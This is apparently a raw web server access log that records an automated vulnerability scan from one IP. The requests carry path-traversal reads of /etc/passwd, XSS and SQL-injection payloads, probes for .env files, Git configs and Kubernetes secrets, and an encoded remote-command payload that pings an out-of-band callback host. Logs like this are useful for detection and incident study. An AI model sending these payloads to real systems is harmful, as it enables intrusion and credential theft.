[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wps/portal/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziDVCAo4FTkJGTsYGBu7uRfjhYgaN7WGiggbO5mb95iLGBp6evQXCQq5OhhZupfhSGfmSToPrxWEBAf0FuaCgAb7VcBA!!/dz/d5/L2dBISEvZ0FBIS9nQSEh/dz/d5/L0lJSkdKSUtVSklKQ2dwUkNncFJBL29Od3dBQUFZUUFBRUl3UWxDVTVBQUdNSUtTcEtGTFJ0R0ZvIS80TmxFTklVTVFuRmR1WXBNaFFUVWs1Q2ltcHBBL1o2XzAwMDAwMDAwMDAwMDAwQTBCUjJCMzAwR1YwL1o3XzAwMDAwMDAwMDAwMDAwQTBCUjJCMzAwSU8wL25vcm1hbC9PQ04vWjZfMDAwMDAwMDAwMDAwMDBBMEJSMkIzMDBHRzIvYW8vdGht/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //api/graphql HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dashboard/proc.php?type=login HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jexws4/jexws4.jsp?ppp=cat+%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/image/cover-upload?filename=../appsettings.json HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.production HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Kenesto/Account/LogOn?ReturnUrl=%2fkenesto HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/nodes HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/system HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/5 HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/namespaces HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env.production.js HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/events/definitions HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/netbinary?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /events../.git/config HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /json-rpc/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mediation/authenticate HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jsapi_ticket.json HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /topic/e'%22%3E%3Cimg%20src=x%20onerror=alert(2)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /http/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lab/api/settings/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /inter/ajax.php?cmd=get_user_login_cmd HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/console HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kfm/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //readme.php HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/warn.log HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapp/ HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/namespaces/default/pods HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htmltopdf/downfile.php?filename=/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../WEB-INF/web.xml;x= HTTP/1.1" 226
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CMSPages/logon.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/locales/login_en.json HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ipython/tree HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jeecg-boot/ HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wfc/portal HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /language/en-GB/en-GB.xml HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/build.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /systemController/showOrDownByurl.do?down&dbPath=../Windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kfm/admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jenkins/script HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/list HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jsconfig.json HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json/FNZ.png HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sample.htaccess HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downFile.php?filename=../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jupyter/login HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/terminals HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appmonitor/protected/selector/server_file/files?folder=C://&suffix HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/ HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hub/login?next HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /var/data/db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /core/auth/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /accounts/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/openid-configuration HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /onlinePreview?url=aHR0cDovL29hc3QuZnVuL3JvYm90cy50eHQ= HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/knr-author-list-widget/knrAuthorListCustomSortSave.php?listItem[]=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?controller=AuthController&action=login HTTP/1.1" 3426
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.config/karma.conf.js HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/webServers.xml HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /specification/report.php?q=%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/logs/default.log HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apis/apps/v1/namespaces/default/deployments HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.asp HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_jvtwitter/jvtwitter.php?id HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/Signup!default.jspa HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/wizard/ HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pipeline/apis/v1beta1/runs?page_size=5&sort_by=created_at%20desc HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /healthz HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wps/portal/!ut/p/z1/pZHBDoIwDIYfqZVF4DoIEg5KBEHWi9mBIAnbjCEefHqH8SARJNGe2qRf_78tEFRAWt7aRvat0bKztSD3hKPgGGROwBDjEuH4bOBxWewx9NzUOzBMki3mWRSs_M0a6IN_n_Ti5wRiZ4Kf0J9r8PEXfmTwL_0Sl_YXlvfm-CRFKLS5KvuJHAgoDXeL9wKSBkR_VkPa6QZEra1N-rrJcKglqxdV2KjuEVM-czP-AKyJL-g!/dz/d5/L2dBISEvZ0FBIS9nQSEh/ HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/JMImplementation:type=MBeanServerDelegate/ImplementationVersion HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sftp.ini HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //api/graphql/v1 HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pods HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webauth_operation.php HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jexinv4/jexinv4.jsp?ppp=cat+%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/namespaces/default/services HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /runningpods/ HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/login_settings HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /stats/summary HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /info HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kustomization.yml HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/../../../../../../../../etc/passwd%00.jpg HTTP/1.1" 226
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /labkey/home/login-login.view HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pods HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/events/definitions/validate HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kylin/api/user/authentication HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/6 HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nobody/Captcha?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/session/login HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SM/rpt_listreport_definefield.aspx?ID=2%20and%201=@@version--+ HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jkstatus HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/namespaces/default/secrets HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/sys-common/datajson.js?s_bean=sysFormulaSimulateByJS&script=%66%75%6e%63%74%69%6f%6e%20%74%65%73%74%28%29%7b%20%72%65%74%75%72%6e%20%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%7d%3b%72%3d%74%65%73%74%28%29%3b%72%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%70%69%6e%67%20%2d%63%20%34%20d5g6to2hausk1oj0j65ggwgkpzrud97mi.oast.live%22%29&type=1 HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apiserver-etcd-client.key HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env.test.js HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.production.local HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hosts HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /WS/Basic/Basic.asmx HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /LTX_navi.html HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /data/sys-common/treexml.tmpl HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /laravel-filemanager/download?working_dir=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F&type&file=passwd HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WCC2/ HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /media../.git/config HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/error.log HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_ignition/health-check HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //kurd.html HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../WEB-INF/web.xml;x= HTTP/1.1" 226
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lfm.php HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/stats HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.lesshst HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_ignition/scripts/--%3E%3Csvg%20onload=alert%28document.domain%29%3E HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /templates/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jupyter/lab HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/axis HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /storage/logs/laravel.log HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/index.php HTTP/1.1" 196
